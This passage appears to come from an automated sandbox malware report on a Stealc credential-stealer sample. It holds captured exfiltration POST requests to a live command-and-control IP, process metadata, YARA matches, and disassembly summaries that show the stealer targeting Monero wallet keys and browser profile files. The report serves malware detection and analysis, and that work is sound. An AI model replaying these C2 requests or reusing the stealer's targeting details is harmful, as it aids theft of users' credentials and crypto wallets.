name="token"d451dbff96e5266a1bbebb51c9da1e6efeb23c8ef5412f600f31ec59b4dbb2a23550b354------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="file"------GCGCFCBAKKFBFIECAEBA--
Oct 20, 2024 08:40:24.536755085 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 08:40:24.563087940 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIDGDBGCAAFIDHIJKEH Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 35 31 64 62 66 66 39 36 65 35 32 36 36 61 31 62 62 65 62 62 35 31 63 39 64 61 31 65 36 65 66 65 62 32 33 63 38 65 66 35 34 31 32 66 36 30 30 66 33 31 65 63 35 39 62 34 64 62 62 32 61 32 33 35 35 30 62 33 35 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 2d 2d 0d 0a Data Ascii: ------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="token"d451dbff96e5266a1bbebb51c9da1e6efeb23c8ef5412f600f31ec59b4dbb2a23550b354------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="message"ybncbhylepme------AFIDGDBGCAAFIDHIJKEH--
Oct 20, 2024 08:40:24.919892073 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:24 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 30 30 63 0d 0a 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f [TRUNCATED] Data Ascii: 200c.pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com
Oct 20, 2024 08:40:24.922503948 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAAAAFIIJDBGDGCGDAK Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 35 31 64 62 66 66 39 36 65 35 32 36 36 61 31 62 62 65 62 62 35 31 63 39 64 61 31 65 36 65 66 65 62 32 33 63 38 65 66 35 34 31 32 66 36 30 30 66 33 31 65 63 35 39 62 34 64 62 62 32 61 32 33 35 35 30 62 33 35 34 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------HDAAAAFIIJDBGDGCGDAKContent-Disposition: form-data; name="token"d451dbff96e5266a1bbebb51c9da1e6efeb23c8ef5412f600f31ec59b4dbb2a23550b354------HDAAAAFIIJDBGDGCGDAKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HDAAAAFIIJDBGDGCGDAK--
Oct 20, 2024 08:40:25.772720098 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	02:39:56
Start date:	20/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb30000
File size:	1'842'176 bytes
MD5 hash:	23EA42D8D675A95FBA3E793E1C45A89B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2297156938.000000000152A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2297156938.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2019693058.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	25.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	27

Executed Functions

Function 00B49860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,014E0630), ref: 00B498A1
GetProcAddress.KERNEL32(75900000,014E0720), ref: 00B498BA
GetProcAddress.KERNEL32(75900000,014E07F8), ref: 00B498D2
GetProcAddress.KERNEL32(75900000,014E0660), ref: 00B498EA
GetProcAddress.KERNEL32(75900000,014E0600), ref: 00B49903
GetProcAddress.KERNEL32(75900000,014E8AB0), ref: 00B4991B
GetProcAddress.KERNEL32(75900000,014D62E0), ref: 00B49933
GetProcAddress.KERNEL32(75900000,014D6340), ref: 00B4994C
GetProcAddress.KERNEL32(75900000,014E05B8), ref: 00B49964
GetProcAddress.KERNEL32(75900000,014E07C8), ref: 00B4997C
GetProcAddress.KERNEL32(75900000,014E0780), ref: 00B49995
GetProcAddress.KERNEL32(75900000,014E0798), ref: 00B499AD
GetProcAddress.KERNEL32(75900000,014D6640), ref: 00B499C5
GetProcAddress.KERNEL32(75900000,014E07B0), ref: 00B499DE
GetProcAddress.KERNEL32(75900000,014E05D0), ref: 00B499F6
GetProcAddress.KERNEL32(75900000,014D6540), ref: 00B49A0E
GetProcAddress.KERNEL32(75900000,014E0648), ref: 00B49A27
GetProcAddress.KERNEL32(75900000,014E0870), ref: 00B49A3F
GetProcAddress.KERNEL32(75900000,014D6500), ref: 00B49A57
GetProcAddress.KERNEL32(75900000,014E0888), ref: 00B49A70
GetProcAddress.KERNEL32(75900000,014D64C0), ref: 00B49A88
LoadLibraryA.KERNEL32(014E08E8,?,00B46A00), ref: 00B49A9A
LoadLibraryA.KERNEL32(014E08A0,?,00B46A00), ref: 00B49AAB
LoadLibraryA.KERNEL32(014E08B8,?,00B46A00), ref: 00B49ABD
LoadLibraryA.KERNEL32(014E08D0,?,00B46A00), ref: 00B49ACF
LoadLibraryA.KERNEL32(014E0900,?,00B46A00), ref: 00B49AE0
GetProcAddress.KERNEL32(75070000,014E0918), ref: 00B49B02
GetProcAddress.KERNEL32(75FD0000,014E0858), ref: 00B49B23
GetProcAddress.KERNEL32(75FD0000,014E8D30), ref: 00B49B3B
GetProcAddress.KERNEL32(75A50000,014E8E08), ref: 00B49B5D
GetProcAddress.KERNEL32(74E50000,014D6560), ref: 00B49B7E
GetProcAddress.KERNEL32(76E80000,014E8B50), ref: 00B49B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00B49BB6

Strings

NtQueryInformationProcess, xrefs: 00B49BAA

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 7cbe11799b8d6bbc5bb64e7773dbff0483c1a2aa98885640db029904ca59cdfd
Instruction ID: a4862458fe7a841618efcf65cc3d064963181fc33a1cbafd514c55fcd874e044
Opcode Fuzzy Hash: 7cbe11799b8d6bbc5bb64e7773dbff0483c1a2aa98885640db029904ca59cdfd
Instruction Fuzzy Hash: AAA107B55043409FD348EFACED89A6E3BF9E7C8201754451AA61DC2364F63998C2DB73

Function 00B345C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00B3460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00B3479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B345E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B34734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B346AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B34678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B345DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B34729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B3466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B346C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B3471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B345D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B346D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B3473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B3474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B3462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B345F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B34770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B34638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B34657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B3477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B346B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B3475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B346CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B34622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B34713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B34683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B34617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B34662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B345C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B34765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B34643

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 706987095b357bf31e7d5f14f6b8bf66ab7133b2b51f5634020a9a54c8384fff
Instruction ID: f4f77581f509043fa6e0f597c22b7bd2ee78ee5d3596ad7b831164fabbf924f2
Opcode Fuzzy Hash: 706987095b357bf31e7d5f14f6b8bf66ab7133b2b51f5634020a9a54c8384fff
Instruction Fuzzy Hash: 454138A07C269CFAC634BBA4885EF9D7FA25F4A747F705AC2AC0052292CFB075644D21

Function 00B3BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

FindFirstFileA.KERNEL32(00000000,?,00B50B32,00B50B2B,00000000,?,?,?,00B513F4,00B50B2A), ref: 00B3BEF5
StrCmpCA.SHLWAPI(?,00B513F8), ref: 00B3BF4D
StrCmpCA.SHLWAPI(?,00B513FC), ref: 00B3BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 00B3C7BF
FindClose.KERNEL32(000000FF), ref: 00B3C7D1

Strings

Google Chrome, xrefs: 00B3C634
\Brave\Preferences, xrefs: 00B3C1DB
Preferences, xrefs: 00B3C11E
Brave, xrefs: 00B3C102

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
